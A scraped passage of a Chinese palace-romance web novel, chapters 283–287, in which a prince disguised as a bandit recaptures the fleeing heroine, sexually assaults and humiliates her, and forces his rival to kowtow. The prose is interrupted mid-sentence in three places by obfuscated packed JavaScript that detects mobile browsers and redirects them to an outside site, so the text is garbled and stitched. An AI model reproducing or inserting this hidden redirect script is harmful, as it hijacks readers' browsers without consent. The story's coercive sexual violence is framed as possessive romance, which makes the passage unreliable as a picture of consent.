“支开了。我昨日就吩咐她,今日一早去城西的药圃帮我寻些草药种子,没个大半天,她回不来。” 姜姝宁看着崔芝兰,真诚道,“崔侧妃,谢谢你。这份恩情,我……” “哎呀,都什么时候了,还说这些!”崔芝兰打断她,“你能顺利离开,就是对我最大的回报!快别磨蹭了!” 她从衣柜里取出一套浅粉色的华美衣裙,“表哥答应过我,只要将你安然送出府,他就安排我南下,去南阳,让我一辈子自由自在,再也不用在这牢笼里耗着!” 说完,她便催促着姜姝宁换衣。 姜姝宁不再多言,迅速褪下身上的婢女衣衫。 就在她脱下上衣,露出内里的中衣时,她忽然察觉到崔芝兰的目光凝固了,直勾勾地盯着她的脖子,眼神里透着一股说不出的怪异。 “崔侧妃,怎么了?” 崔芝兰的脸“唰”地一下涨得通红,嘴唇动了动,才挤出一句:“姜姑娘,你的脖子上……” 脖子? 姜姝宁下意识地伸手一摸,指尖触及之处,传来一阵细微的刺痛。 她心头一沉,快步走到屋里的菱花镜前。 镜中清晰地映出,她白(皙)的脖颈和锁骨处,落着几点刺目的红痕。 那是昨夜萧凌川情动时留下的印记,暧昧又充满了占有欲,像一道道**的烙印。 她方才一心只想着逃 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崔芝兰被她的话深深地触动了。 她看着眼前目光坚定的姜姝宁,仿佛看到了另一个自己。 她自己不也正是为了那虚无缥缈的“自由”,才甘愿行此险招吗? 姜姝宁说得对,和一生的自由相比,那些所谓的贞(洁)、名声,又算得了什么? “你说的对!”崔芝兰上前紧紧握住姜姝宁的手,态度比之前任何时候都要真切,“姜姑娘,你放心,我定会帮你!” 姜姝宁身着崔芝兰的衣裳,头戴帷帽,面纱遮住了大半张脸,由崔芝兰的贴身婢女小翠小心搀扶着,从藏锦阁离开。 来到府门前,小翠不动声色地将崔芝兰的腰牌递给守门的侍卫。 守卫的目光下意识地落在戴着帷帽的姜姝宁身上,带着几分探究,沉声问道:“崔侧妃今日怎戴了帷帽?” 小翠早有准备,语气平静地答道:“侧妃昨日不慎误食了檬果,脸上起了些疹子,不宜见风,这才戴了帷帽遮挡。” “原来如此,崔侧妃请慢走!”侍卫闻言未再多问,毕恭毕敬地将腰牌归还给小翠。 小翠暗自松了一口气,面上却不露分毫,搀着姜姝宁小心翼翼地上了停在门口的马车。 马车缓缓启动,朝着崔府的方向驶去。 景王府——那座困了她两世的华丽牢笼,在姜姝宁的视线中逐渐变得渺小,越来越远。 这一刻,她心中涌起一股强烈的不真实感。 竟……如此顺利就逃离了王府? 第284章 他们是冲着她来的! 第二百八十四章他们是冲着她来的! 马车离崔府越来越近。 一身贵公子装扮的萧怀瑾早已立在崔府门前等候多时,他面上波澜不惊,可那双微颤的眼眸却泄露了他内心的激动。 当马车的身影逐渐逼近时,他再也按捺不住,快步迎了上去。 马车还未完全停稳,萧怀瑾便迫不及待地伸出手,准备亲自去搀扶姜姝宁下车。 姜姝宁掀开车帘,看到他满脸欣喜的模样,心头一紧,本能地想要避开他的触碰。 可又担心自己一个不慎摔倒,伤了腹中的孩子。 犹豫片刻,她还是将手轻轻放在了他的掌心。 谁料,萧怀瑾竟顺势将她一把拉入怀中,紧紧抱住,声音低哑而激动:“太好了,姜姑娘,我终于等到你了!” 他的拥抱带着几分颤抖,仿佛要将这些日子的担忧与思念尽数倾泻而出。 姜姝宁在他怀中僵住,耳边是他急促的心跳声,鼻尖萦绕着他身上特有的松墨香气。 她下意识地推开他,低声道:“殿下,别这样。” “对不起,姜姑娘,是本王唐突了。”萧怀瑾松开她,温润如玉的脸上浮现出一抹难以掩饰的笑意,带着几分自嘲,“我只是……太过激动,失了分寸。” 姜姝宁看着他这副模样,心中莫名泛起一阵酸涩的亏欠。 自己如今已非清白之身,肚子里还怀着萧凌川的骨肉,可他却仍对自己怀有如此深厚的情意,毫无保留地倾注关怀。 她暗暗下定决心,无论如何,也要将一切坦白清楚,不能再让他为自己一味付出。 “宁王殿下,臣女有件事必须与您说……” 她刚开口,萧怀瑾便有些急切地打断:“姜姑娘,快上本王的马车吧!我们尽快出城,乘船离开此地,再说不迟!” 说着,他不由分说地拉着她的手,将她引向一旁早已备好的马车。 姜姝宁被他半拉半扶地上了车,心中百味杂陈,却也只得暂时压下未尽的话语。 马车内,萧怀瑾坐在她身侧,始终不愿松开她的手。 他眼眸微垂,浓密的睫毛遮掩住眼底翻涌的复杂情绪,声音低沉而温柔:“姜姑娘,你可知,我等今日等了多久?这一切,恍若梦境一般,不真实得让我心慌。” 姜姝宁深吸一口气,不动声色地将手从他掌心中缓缓抽出,低声说道:“宁王殿下,您的大恩大德,臣女铭记于心。只是……臣女在景王府已待了些时日,早已不是从前的姜姝宁,恐怕无以回报殿下的深情厚意。” 萧怀瑾自然听懂了她话中隐含的深意,心头猛地一紧,仿佛被无形的手狠狠揪住,难受不已。 但他面上却依然带着一抹决然,声音低沉而坚定:“从我得知你被四哥劫走的那一刻起,我便猜到他会对你做什么。姜姑娘,我知道你身不由己,我爱你、珍重你,绝不会在意那些所谓的清誉。女子的清白,从不在罗裙之下,只要你愿意接受我,我定会护你、爱你一生一世!” 姜姝宁闻言,心头狠狠一震,鼻尖酸涩得几乎落下泪来。 她未曾想到,他对自己的感情竟深厚至此,即便知晓她在景王府的遭遇,知晓她已非清白之身,他仍能毫无芥蒂地接纳她。 而他越是这般好,她心头的愧疚与自厌便越是沉重。 他是天上的明月,值得更好的。 就在她下定决心,准备拒绝他的心意时,马车却猛地一顿,骤然停下。 车外,萧怀瑾的侍卫阿齐焦急的声音传来,带着几分慌乱:“殿下,不好了!有人拦住了我们的马车!那些人看起来……来者不善!” 姜姝宁心头一惊,猛地掀开车帘,目光透过车窗向外望去。 他们此时已身处城郊,荒凉的道路两旁杂草丛生,不远处,一群戴着黑色面罩、手持长剑的男子正朝他们的马车逼近,步伐沉稳,杀气腾腾。 “不好,是山贼!”姜姝宁语气中透着不安。 萧怀瑾眉头紧锁,眼中闪过一抹懊恼,低声自责道:“怪我心急,想早些离城,便未走官道,选了这条僻静小路。” 他顿了顿,迅速唤来阿齐,将身上随身携带的细软悉数交到侍卫手中,沉声吩咐道,“将这些当作买路钱,交给那些人,务必求他们放我们一条生路!” 他虽带了不少侍卫,却担心冲突会惊吓到姜姝宁,便选择了较为稳妥的方式。 “是,殿下!”阿齐接过财物,迅速下车交涉。 姜姝宁却始终心神不宁,纤细的手指紧紧攥住袖角,眉心微蹙。 她凝视着车外那些黑衣人的身影,心中升起一股强烈的不安——他们正要离开京城,便遇上贼人拦截,怎会如此巧? 阿齐捧着那个沉甸甸的布包,朝着那群黑衣人高声喊话:“各位好汉!这是我们主子的一点心意,还请好汉们给条生路,别为难我们!” 为首的蒙面男子只冷冷扫了一眼那个鼓囊囊的钱袋,随后锐利如鹰的目光便径直穿过阿齐,钉死在他们所在的马车上。 “马车里,坐的是什么人?”他的声音没有一丝温度,像冬日里结了冰的湖面。 阿齐整个人一僵,下意识撒了个谎:“是我家少爷和……一个婢女!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168487|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当真是婢女?”那蒙面男子哼笑一声,提着剑,一步步逼近。剑尖在地上划出一道浅浅的痕迹,也划在阿齐紧绷的神经上。 “若我发现你在说谎……” 他话音未落,车帘猛地被掀开。 萧怀瑾自己下了车。 他身上那件锦袍在荒野的风中微微拂动,神色却不见慌乱。 他朝那人一抱拳,姿态放得极低:“这位好汉,实不相瞒,我今日准备带着我家夫人出城南下,还请好汉莫要为难!” 那蒙面男子听到“夫人”二字,蒙在脸上的黑布都挡不住他那股嘲弄的意味。 “夫人?”他冷笑一声,目光黏腻地在马车上逡巡,“正好,我这山寨里还缺个压寨夫人。你这夫人,就留下来给我当压寨夫人吧!” 这话下流又猖狂,简直是把萧怀瑾的脸面踩在脚下。 “放肆!”萧怀瑾忍耐已到极限,脸上最后一丝恭敬彻底消失,取而代之的是滔**意,“一群藏头露尾的宵小,竟敢觊觎本王的夫人?既然敬酒不吃吃罚酒,那就休怪本王无情!来人,给我上!” 一声令下,萧怀瑾带来的十几个侍卫再不迟疑,瞬间拔刀出鞘。 他们训练有素,阵型一散,便如狼群般扑了上去。 霎时间,刀光剑影,金铁交鸣之声不绝于耳。 姜姝宁的心提到了嗓子眼,死死攥着车窗的边缘。 风中传来兵刃破开皮肉的闷响,还有男人临死前的闷哼。 她的视线里,人影交错,血色飞溅,每一声碰撞都让她心惊肉跳。 她心中的不安,很快就变成了彻骨的寒意。 不对劲。 萧怀瑾的侍卫都是精锐,可在那群蒙面人手下,竟像是纸糊的一般。 对方的刀法狠辣至极,招招致命,没有半分多余的动作。 这怎么可能是山贼? 不过短短一炷香的功夫,厮杀声渐渐平息。 萧怀瑾的侍卫们,或倒在血泊中,或重伤倒地,再也爬不起来。 阿齐捂着手臂上深可见骨的伤口,满眼不甘地跪倒在地上。 为首的蒙面男子随手甩掉剑刃上的血珠,那双阴冷的眼睛穿过死寂的空气,重新落在萧怀瑾身上。 他提着那把尚在滴血的长剑,一步,一步,朝他们逼近。 “现在,”他开口,声音里带着胜利者的腔调,“可以把你的‘夫人’,留下了吧?” 一瞬间,姜姝宁的头皮炸开,一股寒气从尾椎骨直冲天灵盖。 他们根本不是冲着钱财来的! 是冲着她来的! 第285章 她逃无可逃,只能认命 第二百八十五章她逃无可逃,只能认命 萧怀瑾下意识地跨前一步,将姜姝宁牢牢护在身后,面色冷峻如冰。 他从腰间取出一块雕龙刻凤的腰牌,高高举起,声音低沉而充满威压:“本王是宁王,大邺皇室血脉!你等若敢伤本王一分一毫,可曾想过后果如何?” 为首的蒙面男子却丝毫不为所动,眼中闪过一抹不屑,冷哼道:“宁王又如何?连一个弱女子都护不住,简直丢尽了皇室的脸面!” “你!”萧怀瑾气得脸色铁青,胸膛剧烈起伏,正欲再开口,却被身后的姜姝宁死死拽住了衣袖。 “宁王殿下,切莫与他们硬碰硬!”姜姝宁压低声音,纤细的手指因用力而微微发白。 萧怀瑾虽有皇室身份,可如今在这荒郊野外,人单势孤,怎敌得过这群杀气腾腾的匪徒? “姜姑娘,莫怕!本王定会护你周全!”萧怀瑾死死瞪向蒙面男子,眼底猩红如血,剑眉紧锁,像是头被逼入绝境的困兽,随时准备不顾一切地搏命一战,“想动她,先从本王的尸体上踏过去!” 蒙面男子闻言,冷笑一声,剑尖直指萧怀瑾的胸口,语气中透着轻蔑:“好大的口气!兄弟们,给我上,活捉那女人,旁的废话少说!” 话音刚落,周围几个蒙面人齐齐应声,手中刀剑闪烁着寒光,步步逼近,气势汹汹地直扑萧怀瑾而来。 姜姝宁看着这阵仗,心顿时揪成一团。 她猛地踏前一步,厉声喝道:“住手!” 她的目光直直看向为首的蒙面男子,声音颤抖:“放了宁王殿下,我……我任由你们处置!” “姜姑娘,不可!”萧怀瑾闻言,脸色骤变,焦急地想要拉住她。 姜姝宁转头,给了他一个安抚的眼神。 随即,她深吸一口气,强自镇定,一步步朝蒙面男子走去。 “这就对了嘛!”蒙面男子见她妥协,语气中透出几分得意,嘴角勾起一抹轻佻的笑意,“这个什么宁王,压根儿就护不住你!还不如跟着我,做个压寨夫人来得痛快自在!” 听着他的狂妄言辞,姜姝宁心中燃起一团怒火,面上却不动声色。 她低垂眼眸,藏住眼底的冷意,直到走到离蒙面男子足够近的距离,手指悄然伸向袖中——那里藏着一把精巧的袖**,是她为自己准备的防身之物。 就在她暗自扣动机关,利箭“嗖”地射出的那一刻,蒙面男子却似早有预料,身形一侧,轻巧地避开了箭矢。 姜姝宁咬紧牙关,不甘心地接连射出三箭,可他身手敏捷,竟一一闪过,毫发无伤! “夫人怎么还算计起人来了?”蒙面男子语气轻佻,眼中却闪过一抹寒光,骤然出手,一把扣住她的手腕,猛地将她拉入怀中,低声冷笑,“看来,还欠调(教)啊!” 萧怀瑾眼见这一幕,顿时目眦欲裂,青筋暴起:“放开她!本王要杀了你!” 他拼尽全力挣扎,然而却被蒙面男子的手下死死摁住,四肢动弹不得,只能眼睁睁看着姜姝宁落入对方掌控。 就在这时,缠绕在姜姝宁腕间的小白蛇“嗖”地窜出,迅如闪电,一口狠狠咬在蒙面男子的手臂上。 剧痛袭来,他却只是微微皱眉,似是毫不在意,伸手便掰开小白蛇的嘴,随意一甩,将它丢在地上,重重踩了一脚。 姜姝宁瞳孔猛地一缩,震惊地看着这一幕,几乎不敢相信自己的眼睛。 她心头一沉,强压下慌乱,声音中带着几分颤抖的哀求:“方才是我鲁莽,不自量力,还请好汉莫要动怒。只要您肯放了宁王殿下,我愿意……愿意跟您离开!” “用箭伤我,又用蛇咬我,就一句‘好汉莫要动怒’便想轻轻揭过,你当我是什么?” 蒙面男子声音骤冷,眼中闪过一抹阴鸷,紧扣她手腕的力道骤然加重,痛得她几欲皱眉。 “你到底想如何?”姜姝宁咬紧牙关,强忍着腕间的剧痛。 蒙面男子冷冷一笑,目光在她身上肆意打量了一番,语气中带着几分戏谑与恶意:“这样吧,前面有个山洞,你若能将我伺候得舒舒服服,我便放了这个宁王,如何?” 此言一出,萧怀瑾顿时如遭雷击。 他双眼赤红,嘶声咆哮起来:“姜姑娘,绝不可!你们快放了她,否则本王定要让你们死无葬身之地!” 他的声音几乎沙哑,带着撕心裂肺的绝望。 蒙面男子却毫不在意,嗤笑一声,目光轻蔑地扫过萧怀瑾:“宁王殿下,你还是先顾好自己吧!自身都难保,还在这虚张声势,叫嚣些什么?” 姜姝宁咬紧下唇,眼中闪过一抹决绝的光芒:“好,我……我答应你!” 听到这话,萧怀瑾的脸色骤然苍白,他挣扎着想要冲向前,声嘶力竭地吼道:“姜姑娘,不可以!你不必为我牺牲自己!” 蒙面男子闻言,轻笑一声,笑意中透着几分得意。 他俯身靠近姜姝宁,随即不费吹灰之力地将她打横抱起,当着萧怀瑾的面,大步走向不远处的山洞。 山洞内昏暗一片,湿冷的空气夹杂着泥土的腥气,视线几乎无法穿透那浓重的黑暗。 姜姝宁被他抱入洞中,心头像是压了一块巨石,沉重得让她喘不过气来。 蒙面男子将她抵在粗糙的石壁上,冰冷的触感透过衣料渗入肌肤,让她不由得打了个寒颤。 他的手缓缓掀起她的裙摆,微凉而粗粝的指腹如同冰冷的蛇,沿着她修长的腿往上游走,带着一种侵略性的试探。 没多久,他的呼吸便变得急促而粗重,空气中弥漫着一股令人窒息 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她的声音中带着一丝自嘲与无力,目光在黑暗中虽模糊不清,却依旧直视着他的方向:“是我不自量力,妄想逃离王爷的掌控。如今落在您手中,我罪有应得。您想如何罚我,我都甘愿承受。只是宁王殿下不过是受我所托,他是无辜的。只要您放了他,我任您处置!” 她的语气中透着几分心如死灰。 萧凌川西征在即,如此重要的日子,他竟能骗过所有人,扮作山贼一路追随至此。 这个男人为了将她困在掌心,还有什么是做不出来的? 她逃无可逃,只能认命。 萧凌川闻言,冷笑一声,笑意中不带半分温度:“怎么,你以为一句‘任本王处置’就能平息本王的怒火?就算本王杀了萧怀瑾,你也逃不过被本王掌控的命运!既如此,本王何不趁此机会,假扮山贼,取了萧怀瑾的命?从此以后,也不用担心自己的王妃再被人觊觎!只有断了你所有退路,本王才能安心!” 姜姝宁心头一惊,背脊瞬间僵直。 她太清楚萧凌川的性子,他绝非心慈手软之人,若他说要杀萧怀瑾,便绝非空口威胁。 她哀求道:“王爷,求你别伤害宁王殿下!一切都是我的错,是我逼着宁王殿下带我走的,是我不自量力,你若有气,就撒在我身上,千万不要牵连无辜……” “够了!”萧凌川骤然打断她的话,语气中透着不耐与冷酷,“既如此,本王便给你一个机会。若你肯配合本王演一出戏,本王便暂且饶萧怀瑾一命!” 姜姝宁闻言,如获大赦,忙不迭地问道:“王爷要我如何配合?” 她话音未落,腰间的衣带便被萧凌川猛地扯开,冰冷的空气骤然侵袭肌肤,让她不由得打了个寒颤。 萧凌川贴近她的耳畔,声音暧昧而低沉,带着不容置疑的强势:“自然是……假戏真做。” 第286章 恶意折辱 第二百八十六章恶意折辱 姜姝宁自然不肯,她咬牙切齿,从喉咙深处挤出两个字:“无耻!” 随即,她用尽全身力气挣扎起来。 但她被死死压在冰冷粗糙的石壁上,压根动弹不得。 萧凌川对她的反抗视若无睹,反而俯下身,滚烫的气息喷洒在她的脸上,带着令人战栗的恶意。 “你不让本王杀他,那自然要让他彻底绝望才行!”他的声音压得极低,仿佛情人间的呢喃,吐出的字眼却淬着剧毒,“往后,他才不会不自量力,再妄想从本王身边带走你!” “少说得这般冠冕堂皇!”姜姝宁眼中几乎要喷出火来,声音因愤怒而颤抖,“你分明是为了满足你自己的恶趣味!” 萧凌川闻言,竟低低地笑了起来,胸腔的震动透过紧贴的身体传来,让姜姝宁一阵恶寒。 “王妃要这样想,那便当是吧。” 话音刚落,他节骨分明的手便直探她的裙底。 姜姝宁浑身一僵,羞辱和惊惧瞬间冲垮了理智。 她猛地偏过头,张口狠狠咬在他的肩膀上。 牙齿嵌入皮肉,她尝到了一丝血腥味。 他吃痛,却不仅不松开,指尖的动作反而愈发肆无忌惮,像是对她激烈反抗的惩罚。 “王妃既然咬了本王,”他声音里染上了几分危险的沙哑,“那本王,只能以其人之道,还治其人之身了。” 话音未落,他便低下头,毫不留情地咬在了她白(皙)脆弱的脖颈处。 尖锐的刺痛传来,姜姝宁没忍住,一声痛呼脱口而出。 这声短促而凄厉的尖叫,像一把淬毒的利刃,穿透洞口的黑暗,精准无误地扎进了萧怀瑾的心脏。 “求求你们……放开姜姑娘!你们要什么,本王都给你们!”萧怀瑾双目猩红,浑身都在无法抑制地颤抖。 他被两个高大的蒙面人死死按在地上,动弹不得,只能用嘶哑的声音哀求,每一个字都带着血泪。 回应他的,是周围蒙面男子们肆无忌惮的哄笑。 “宁王殿下,我们头儿现在就想跟姜姑娘快活一次,你就是给座金山银山也没用啊!哈哈哈!” 这话像一盆冰水,兜头浇下,浇灭了萧怀瑾心中最后一丝火苗。 他从小锦衣玉食,是天之骄子,想要的一切,母妃和舅舅都会为他铺好路,送到眼前。 他从未体会过什么是求而不得,什么是无能为力。 直到遇见姜姝宁,他才知晓世间有爱而不得的苦楚。 而眼下,他更是尝到了眼睁睁看着心爱之人受辱,自己却无能为力的锥心之痛。这种绝望,比死亡更让他恐惧。 洞内,萧凌川清晰地听到了洞外萧怀瑾那痛苦的嘶吼和绝望的哀求。 他的唇角勾起一抹残酷而满意的笑意。 他贴着姜姝宁的耳朵,用只有两人能听见的声音,残忍地低语:“王妃,方才叫得好。再叫几声,我那五弟很快就要疯了!” 他恶意满满的话语,像一条滑腻的毒蛇,钻进姜姝宁的耳朵,直搅得她五脏六腑都翻腾起来。 胃里一阵剧烈的痉挛,她没忍住,对着身前的男人,一阵阵干呕。 萧凌川正沉浸在报复的快(感)中,却骤然察觉到她的不对劲。 他停下所有动作,神色骤变,原本戏谑的眼眸瞬间锐利起来。 “你怎么了?” 他突如其来的关心让姜姝宁一惊。 她下意识地想要掩饰,连忙将那股恶心压下去,冷声道:“萧凌川,你真让我恶心!” 这句话,比方才那一口咬得更狠,更让他痛。 萧凌川的脸色瞬间难看到了极点。 不过是小小惩戒一下他那个生来就唾手可得的五弟罢了,她竟反感到如此地步? 一丝阴鸷的怒火在他眼底燃起,洞内的空气仿佛都冻结了。 “戏演完了,我们出去吧!”萧凌川猛地松开她,声音冷如寒冰,透着不容置疑的威压。 他迅速将面罩重新戴好,遮住那张阴鸷的脸庞,随即不容分说地将姜姝宁打横抱起。 他的手臂坚实如铁,紧紧箍住她的腰身,力道之大让她隐隐作痛,几乎喘不过气来。 姜姝宁咬紧下唇,强忍着身体的不适,眉头微蹙,眼底闪过一抹**与恨意。 他俯身靠近,压低声音,威胁的气息如冰冷的刀锋拂过她的脸颊:“若你在萧怀瑾面前敢露出一丝一毫的破绽,就别怪本王真的取了他的性命!” 她低垂眼眸,强压下心中的恐惧与不甘,低声应道:“我知道了。” 当萧怀瑾看清洞口那人怀中抱着的姜姝宁时,他整个世界都在轰然崩塌。 她的衣衫被揉得不成样子,几缕青丝凌乱地贴在酡红的脸颊上,而最刺眼的是,她那纤细脆弱的脖颈上,赫然印着一个深红色的牙印。 那痕迹,像烙铁一样烫在他的心上,让他痛得无法呼吸。 悔恨和愧疚如潮水般将他淹没。 “姜姑娘……”他的声音沙哑得不成样子,每个字都像从喉咙里挤出来的碎石,“是我……害了你……” 平日里的矜贵与自持荡然无存,只剩下一片狼狈与无尽的愧疚。 戴着面罩的萧凌川,发出一声轻蔑的嗤笑,故意往他伤口上撒盐:“是啊,宁王殿下。若不是你这么不自量力,非要带着这么个漂亮姑娘往这种鸟不拉屎的偏僻地方钻,又怎么会撞上我们弟兄几个?” 他的声音隔着面罩,显得沉闷而戏谑,“自己没那个护人的本事,就别总想着英雄救美。这跟亲手把人推进火坑里,有什么区别?” 萧怀瑾的眼眶红得滴血,他死死盯着那个男人,不去理会那诛心的嘲讽,只一字一顿地问:“现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168489|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在,你能放了姜姑娘了吗?” “放了她?”萧凌川像是听到了天大的笑话,笑声在空旷的山野里回荡,“好啊,你跪下,给爷磕三个响头,我就考虑考虑。” 这话一出,被他禁锢在怀里的姜姝宁猛地抬起头,一双杏眼燃着熊熊怒火,狠狠地瞪着他。 这个混蛋! 他怎么能这样! 她挣扎了一下,却被萧凌川的手臂箍得更紧,那力道像铁钳,让她动弹不得。 就在这时,萧怀瑾那挺得笔直的脊梁,竟真的弯了下去。 “扑通”一声,他双膝重重地砸在坚硬的、带着碎石的地面上。 那声音闷得让人心头发颤。 他没有丝毫犹豫,俯下身,一下,一下,又一下,重重地将额头磕在尘土里。 “咚!”“咚!”“咚!” 每一声,都像一把重锤,狠狠砸在姜姝宁的心上。 她看着那个曾经光风霁月,如天上皎月般的男子,为了她,跪在泥地里,向伪装成山贼的萧凌川磕头。 那份矜贵与骄傲,被践踏得粉碎。 一股无法言喻的恨意,从她心底最深处疯狂滋生,像毒藤般缠绕住她的五脏六腑。 她恨萧凌川! 恨他的卑劣,恨他的无耻! 她更恨自己腹中,竟然孕育着这样一个恶劣到骨子里的男人的血脉! 萧怀瑾抬起头,额上已是一片红肿,还沾着尘土,狼狈不堪。 他却毫不在意,只用那双布满血丝的眼睛,乞求地望着萧凌川:“这样……可以了吗?求你,放了姜姑娘!” 然而,这份**的祈求,换来的却是更深的恶意。 萧凌川看着萧怀瑾这副模样,面罩下的嘴角勾起一个得逞至极的弧度。 “啧啧,宁王殿下还真是说跪就跪,一点都不含糊啊。看来这皇家的血脉,也不过如此嘛!”他悠悠地开口,话语里满是轻蔑与**,“只可惜啊,我这个人,从来就不是什么信守承诺的君子。” 他顿了顿,一字一句,残忍地宣判:“就算你磕头磕到死,我也不打算把这美人儿还给你!” “你——!”萧怀瑾目眦欲裂,喉咙里发出一声困兽(般)的嘶吼。 若不是被人桎梏着自由,姜姝宁毫不怀疑他会冲上来和萧凌川拼命。 萧凌川却懒得再看他一眼,抱着姜姝宁,转身就走。 “放开她!你这个无耻小人!你回来!”萧怀瑾绝望的哀求和怒骂在身后响起,声音凄厉,充满了撕心裂肺的痛楚。 姜姝宁浑身都在发抖,不是因为害怕,而是因为极致的愤怒。 她死死咬着唇,不敢回头。 她怕,怕看到那个清风明月般的男子,被她拖入深渊,彻底碾碎所有尊严时的狼狈与绝望。 那样的画面,她怕自己看一眼,就会疯掉。 第287章 他一厢情愿的在意 第二百八十七章他一厢情愿的在意 姜姝宁被萧凌川强行塞进他的马车里,踉跄着撞在柔(软)的坐垫上。 车厢狭小,萧凌川紧随其后,高大的身躯(挤)进来,瞬间将所有光线和空气都掠夺殆尽。 压迫感扑面而来。 “王爷得偿所愿,该高兴了吧?”她的声音淬着冰,每个字都透着毫不掩饰的恨意。 身后萧怀瑾那绝望的嘶吼仿佛还回荡在耳边,像一把钝刀,反复割着她的心。 萧凌川扯下脸上的黑布面罩,随手扔在一旁。 那张俊美无俦的脸在昏暗的光线下显得轮廓分明,却也冰冷得没有一丝温度。 “不,本王一点也不高兴。”他欺身而上,双臂撑在她身侧,将她完全笼罩在他的阴影之下。 他用力将她揽进怀里,力道大得像是要将她揉进自己的骨血里,一双桃花眸里目光如鹰隼,死死攫住她,“尤其是在看到你心疼萧怀瑾那个废物时,更是愤怒不已。他分明护不住你,你为何还对他抱着不切实际的期望?” 姜姝宁迎着他逼视的目光,唇角勾起一个极尽嘲讽的弧度。 “王爷难道没听说过‘孤注一掷’吗?我也是走投无路啊!” 他把她逼到绝境,却还要嘲笑她病急乱投医。 萧凌川的眼神在她脸上阴冷地流转,像是要将她看穿。 “既然走投无路,那便留在原地,不好吗?” “王爷今日将我所有后路都断了,我也只能留在原地了。”她的语气平静下来,却比刚才的愤怒更让人心寒,那是一种彻底的,绝望的平静。 萧凌川似乎对她这副认命的姿态十分满意,抱着她的手臂收得更紧了些,下巴抵在她的发顶,声音里透着一丝不易察觉的愉悦:“你有此觉悟便好。” 马车猛地一颠,姜姝宁胃里一阵翻江倒海,没忍住,侧过头便是一阵剧烈的干呕。 等她想掩饰时,已经来不及了。 萧凌川抱着她的手臂瞬间僵硬。 他松开她,坐直了身子,一双深邃的眸子一瞬不瞬地盯着她苍白的脸。 那目光锐利如刀,让她整个人都像被钉在了原地,头皮阵阵发麻。 “这回,就不是见了本王觉得恶心了吧?”他的声音低沉,听不出情绪。 他没有再看她,而是对着车外沉声命令道:“凌风,去请孙神医!” 姜姝宁下意识地攥紧了掌心,冰凉的冷汗瞬间湿了后背。 完了。 这回,是彻底瞒不住了。 马车径直驶入了景王府。 寝殿卧房里熏着安神的檀香,姜姝宁被安置在床上,萧凌川坐在她身边,目不转睛地看着她。 仿佛稍不注意,她便会生出翅膀飞走一般。 孙神医来得很快,一番望闻问切之后,他站起身,对着一旁面色沉凝的萧凌川拱手作揖,声音洪亮: “恭喜王爷,贺喜王爷!王妃这是喜脉,怀胎已经一月有余了!” 萧凌川的身体有那么一瞬间的僵直,眼底闪过一丝狂喜与激动。 但那情绪仅仅持续了片刻,当他的目光触及床榻上面无表情、眼神冰冷的姜姝宁时,那点喜悦便迅速冷却,凝结成冰。 他的脸色骤然变得阴沉骇人。 “你早就知道自己怀有身孕,对吧?”他居高临下地看着她,声音里压抑着滔天的怒火,“好大的胆子,竟还想带着本王的骨肉离开!” 姜姝宁没有回答他这个问题,只是静静地抬起眼,迎上他的视线,平静地问:“王爷不去西征了吗?” 萧凌川伸出手,指尖勾起她一缕垂落在枕边的青丝,漫不经心地缠绕着。 “西征哪有本王的子嗣重要?”他垂下眼帘,语气听似温柔,却带着不容置喙的强势,“王妃怀上本王的子嗣,本王自然要好好陪你待产。” “王爷喜欢孩子?”她又问,声音平淡得像在谈论天气。 萧凌川动作一顿,随即道:“王妃生的,本王自然喜欢。” “是吗?”姜姝宁忽然笑了,那笑容里满是化不开的讽刺与悲凉,“我还以为王爷不喜欢孩子。倘若王爷真喜欢孩子,上辈子怎会给我喝那么多避子药?” 这话像一根淬了毒的针,精准地扎进了萧凌川心底最隐秘的角落。 他缠绕着她发丝的手指猛地收紧,又在察觉到她的吃痛后倏然松开。 寝殿内的空气仿佛都凝固了。 他神色阴郁,沉默了许久,才艰涩地开口:“本王知道,你因此事怨恨本王。但本王也是迫不得已。前世与萧修湛争权,本王历尽九死一生,若当时你生下本王的孩子,只会让他成为本王的另一软肋。” “原来如此。”姜姝宁淡淡地应了一声,眼中的嘲讽更浓了,“看来比起子嗣,王爷更爱权势。等王爷夺得了权势,我也没法帮你养儿育女了,毕竟,十年一日都不间断地喝那种东西,身子早就被掏空了。” 她顿了顿,抬起眼,那双清冷的眸子直直地看着他,像是在看一个笑话。 “不过,这倒也不影响王爷开枝散叶。毕竟王爷是要当帝王的人,等坐上那个位置,想必会有不少年轻貌美的女子,争着抢着为王爷生儿育女吧?” 她的话语越来越尖刻,像一把刀子,一下下凌迟着他。 “王爷方便告诉我,你前世……究竟有几个子嗣吗?” 萧凌川的脸色已经难看到了极点,俊美的五官紧绷着,像是被她这番诛心之言彻底激怒。 他胸口剧烈起伏,喉结滚动,却一个字也说不出来。 半晌,他猛地拂袖转身,背对着她,声音冷得能掉下冰渣。 “你好好休息,本王晚点再来看你!” 话音未落,他便大步流星地走了出去,带着一身的怒气和狼狈。 “砰!” 房门被重重地甩上,姜姝宁脸上的嘲讽却越甚。 这是恼羞成怒了呢! 姜姝宁躺在床上,鼻间萦绕着安神香淡淡的清幽气息,意识渐渐模糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 